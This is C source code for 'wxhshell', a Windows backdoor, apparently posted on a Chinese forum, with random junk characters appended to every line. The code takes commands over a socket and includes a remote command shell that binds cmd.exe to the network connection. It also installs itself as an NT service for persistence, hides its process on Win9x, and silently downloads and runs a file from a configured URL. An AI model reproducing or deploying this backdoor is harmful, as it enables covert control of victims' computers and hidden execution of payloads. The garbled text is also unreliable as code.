    switch(cmd[0]) { ?AqrlR]5  
  Y2RxD\!Z  
  // 帮助 AlPL;^Y_l  
  case '?': { |N phG|  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); e["Z!D_H  
    break; fS;m+D!j@  
  } )?= kb  
  // 安装 f~n' Ki+'  
  case 'i': { z/ c'Z#w%  
    if(Install()) e8WPV  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7LyV`6{70  
    else NKIkd  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); i]h R7g<  
    break; UcKWa>:Fi  
    } %j 9vX$Hj  
  // 卸载 Zp% ""  
  case 'r': { bKZAJLnd  
    if(Uninstall()) .{-iq(3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); AOvH&9**  
    else X:zyzEhS  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); r&j+;JM5  
    break; ]8q%bsl+  
    } O(c4iWm  
  // 显示 wxhshell 所在路径 ]9~#;M%1  
  case 'p': { dxae2 t V  
    char svExeFile[MAX_PATH]; p!rG PyGC  
    strcpy(svExeFile,"\n\r"); unbcz{&Hb[  
      strcat(svExeFile,ExeFile); [\ w>{  
        send(wsh,svExeFile,strlen(svExeFile),0); 7\Yq]:;O  
    break; s>"WQ|;6  
    } 5u=U--  
  // 重启 c+\Gd}IJq  
  case 'b': { :`!mCW`Q-  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); sV Z}nq{  
    if(Boot(REBOOT)) |~T+f&   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .bY1N5=sz  
    else { '&o> %V  
    closesocket(wsh); @?($j)9}  
    ExitThread(0); O.m.]%URW  
    } _tg3%X]  
    break; aV0;WH_3  
    } 6b1 Uj<  
  // 关机 6`{)p&9  
  case 'd': { b "AHw?5F  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Lh5+fk~i~8  
    if(Boot(SHUTDOWN)) `:^)"#z)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T=)L5Vuq<  
    else { gs2&0rnOy\  
    closesocket(wsh); ^dp[ Z,[1z  
    ExitThread(0); 9i xnf=$Jp  
    } vA $BBXX  
    break; kQ:>j.^e  
    } Q0oDl8~  
  // 获取shell Q!$kUcky9  
  case 's': { tZ6v@W  
    CmdShell(wsh); )-7(Hv1  
    closesocket(wsh); 8B(Q7Qj  
    ExitThread(0); A_dYN?^?|  
    break; >?Y3WPB<F  
  } dIe 6:s  
  // 退出 Wug?CFX+T  
  case 'x': { ]{l O  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 'G By^hj?  
    CloseIt(wsh); iS^^Z ZyR  
    break; .m % x-i  
    } 3jQ$72_  
  // 离开 ` G/QJH{I  
  case 'q': { UHm+5%ZC  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); LB 5EGw  
    closesocket(wsh); UM;bVf?  
    WSACleanup(); kO O~%|1CP  
    exit(1); z K]%qv]  
    break; "gVH;<&]  
        } T"jDq1C/,E  
  } hB1iSm  
  } dXSb%ho  
EwJn1Mvq  
  // 提示信息 .*..pf|/  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); t@mw f3,  
} 6j.(l4}  
  } uTF EI.N  
h3 ZL0Fi*  
  return; J};,%q_  
} p~ VW3u]  
[ Sa C  
// shell模块句柄 %y~]3XWik  
int CmdShell(SOCKET sock) <. ]&FPJ  
{ v}t :}M<;  
STARTUPINFO si; fpC@3itI  
ZeroMemory(&si,sizeof(si)); k.VOS 0  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; \d8=*Zpz7  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; *" +cP!  
PROCESS_INFORMATION ProcessInfo; 7o%|R2mL}  
char cmdline[]="cmd"; :BiR6>1:  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); (4gQe6tA  
  return 0; n/|`Dz.  
} >LZ)<-Mk  
`'t;BXedz/  
// 自身启动模式 " ~hjB  
int StartFromService(void) ?d'9TOlD  
{ lAt1Mq} ?P  
typedef struct im%3*bv-  
{ }Bg<Fm  
  DWORD ExitStatus; -s84/E4Y*  
  DWORD PebBaseAddress; *y$ry]  
  DWORD AffinityMask; Uv$ u\D+@[  
  DWORD BasePriority; WM7/|.HQ  
  ULONG UniqueProcessId; V'4}9J  
  ULONG InheritedFromUniqueProcessId; eNskuG|1  
}   PROCESS_BASIC_INFORMATION; `^Sq>R!;  
{Z;GNMO:  
PROCNTQSIP NtQueryInformationProcess; LR.+C xQ  
:cz]8~i\  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; OlFn<:V K  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; I=-;*3g6  
$S("- 3  
  HANDLE             hProcess; -L3RzX  
  PROCESS_BASIC_INFORMATION pbi; kV<)>Gs  
_YUF /B'  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); @=1``z#  
  if(NULL == hInst ) return 0; W.<<azi  
Ez-o*&  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); i)DXb  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 9D21e(7X  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); AXI:h"so  
k,(_R=  
  if (!NtQueryInformationProcess) return 0; '1nU[,Wj  
1i2O]e!  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ^a5>`W  
  if(!hProcess) return 0; 1i2w<VG1  
3I(M<sB}  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; z5/O8}Gz@  
 (La  
  CloseHandle(hProcess); RkM!BcB  
+.cv,1Vx  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); :Aw VeX@  
if(hProcess==NULL) return 0;  (v}:  
E]Q)pZ{Jb  
HMODULE hMod; :Yqa[._AF  
char procName[255]; Mr(3]EfgO  
unsigned long cbNeeded; .IU+4ENSy4  
RJD3o_("K  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); X;tk\Ixd  
q4oZJ-`  
  CloseHandle(hProcess); ks$G6WC  
(0S7  
if(strstr(procName,"services")) return 1; // 以服务启动 H2vEFnV  
r MlNp?{_  
  return 0; // 注册表启动 8b!_b2Za  
} `314.a6S  
%b9M\  
// 主模块 rg\w!L(  
int StartWxhshell(LPSTR lpCmdLine) 6~LpBlb  
{ '-=?lyKv  
  SOCKET wsl; Sy~1U  
BOOL val=TRUE; T~>:8i  
  int port=0; =B1!em|  
  struct sockaddr_in door; QTH yH   
D5x^O2  
  if(wscfg.ws_autoins) Install(); /Y:Zqk3  
z?xd\x  
port=atoi(lpCmdLine); &PX'=UT  
Hw? J1#1IE  
if(port<=0) port=wscfg.ws_port; 5Mr:(|JyV  
q`hg@uwA{`  
  WSADATA data; ^E^:=Q?'_  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; G)Y!aX  
Nsq%b?#  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   UuGv= yC^6  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); jk@]d5  
  door.sin_family = AF_INET; "'Ik{wGc  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); CfU )+20  
  door.sin_port = htons(port); }O/Nn0,  
U!4 ^;  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { V.J%4&^X  
closesocket(wsl); jo;n~>3P  
return 1; f+ &yc'[  
} CJ_B.  
c1i7Rc{q  
  if(listen(wsl,2) == INVALID_SOCKET) { 2r,fF<WQ  
closesocket(wsl); IWkBq]Y  
return 1; -nW-I\d%  
} %}/)_RzQ  
  Wxhshell(wsl); LBg#KQ @  
  WSACleanup(); m<E7cY3mX  
!E%!,  
return 0; ep5aBrN]"  
rTH@PDk>)  
} ;(V=disU/  
&("?6%GC  
// 以NT服务方式启动 +=R:n^r^,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) &IcDUr]L  
{ A)xI. Q6  
DWORD   status = 0; UJb7v:^  
  DWORD   specificError = 0xfffffff; o}T]f(>}  
U5Y*xm<  
  serviceStatus.dwServiceType     = SERVICE_WIN32; E$cr3 t7Xy  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; &5B+8>  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; &c]x;#-y  
  serviceStatus.dwWin32ExitCode     = 0; yH Cc@`1.  
  serviceStatus.dwServiceSpecificExitCode = 0; v#~,)-D&  
  serviceStatus.dwCheckPoint       = 0; og>f1NwS[  
  serviceStatus.dwWaitHint       = 0; 4ngiad6bR  
r )T`?y  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ?f%@8%px  
  if (hServiceStatusHandle==0) return; 2uB.0  
f~]5A%=cZ  
status = GetLastError(); 4EOu)#  
  if (status!=NO_ERROR) L9x,G!  
{ 3LEN~ N}  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 4F'@yi^Gt  
    serviceStatus.dwCheckPoint       = 0; }Iu6]?|'  
    serviceStatus.dwWaitHint       = 0; G",+jR]  
    serviceStatus.dwWin32ExitCode     = status; Z I8p(e  
    serviceStatus.dwServiceSpecificExitCode = specificError; `aCcTs7~]p  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5~\W!|j/  
    return; 'HOt?lpu!  
  } &R 0BuFL8  
.9`.\v6R  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; n |(Y?`(  
  serviceStatus.dwCheckPoint       = 0; d~.#KS  
  serviceStatus.dwWaitHint       = 0; F.JE$)B2EX  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Z rvb %  
} vwP83b0ov"  
\wTW hr0  
// 处理NT服务事件,比如:启动、停止 J&lQ,T!?B  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ](^xA `  
{ $PNR?  
switch(fdwControl) v=|ahsYC  
{ +|^rz#X  
case SERVICE_CONTROL_STOP: c: _l+CgeH  
  serviceStatus.dwWin32ExitCode = 0; _m;Y'  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; K !`tEW[  
  serviceStatus.dwCheckPoint   = 0; ).xQ~A\.  
  serviceStatus.dwWaitHint     = 0; {"O'kx  
  { hMi`n6m  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 94H 6`  
  } 1XwbsKQ}  
  return; )bqO}_B  
case SERVICE_CONTROL_PAUSE: B1 'Ds  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; mlX^5h'  
  break; zxXm9zrLo  
case SERVICE_CONTROL_CONTINUE: |[C3_'X  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ij/ |~-!  
  break; YMC*<wXN  
case SERVICE_CONTROL_INTERROGATE: gaVWfG  
  break; Xn4U!<RT"  
}; ~p^6  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); h8Kri}z;M  
} m%l\EE  
NEJxd%-  
// 标准应用程序主函数 1%t9ic  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) iq=<LOx  
{ R Mrh@9g  
!Mceg  
// 获取操作系统版本 F:1w%#6av  
OsIsNt=GetOsVer(); dk# LAm0<  
GetModuleFileName(NULL,ExeFile,MAX_PATH); BH0].-)[y!  
hgLwxJu  
  // 从命令行安装 C8%q?.nH=  
  if(strpbrk(lpCmdLine,"iI")) Install(); ~+7q.XL$$K  
Rra<MOR  
  // 下载执行文件 'WUd7  
if(wscfg.ws_downexe) { a^>0XXr}Y  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) s,)Z8H  
  WinExec(wscfg.ws_filenam,SW_HIDE); p<: bP w  
} y}Oc^Fc  
sFuB[ JJ}  
if(!OsIsNt) { 4f:B2x{  
// 如果时win9x,隐藏进程并且设置为注册表启动 HM /2/ /  
HideProc(); vlY83mU.  
StartWxhshell(lpCmdLine); 1Ue )&RW  
} Y/?V%X  
else KLrxlD4\  
  if(StartFromService()) tN&4t xB  
  // 以服务方式启动 Bf1,(^3XH  
  StartServiceCtrlDispatcher(DispatchTable); Z9,-FO{#3-  
else t2uX+1F  
  // 普通方式启动 50q(8F-N  
  StartWxhshell(lpCmdLine); FL*qV"r^n  
V(3^ev/  
return 0; agp`<1h9  
}
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只看该作者 1 发表于: 2006-10-10
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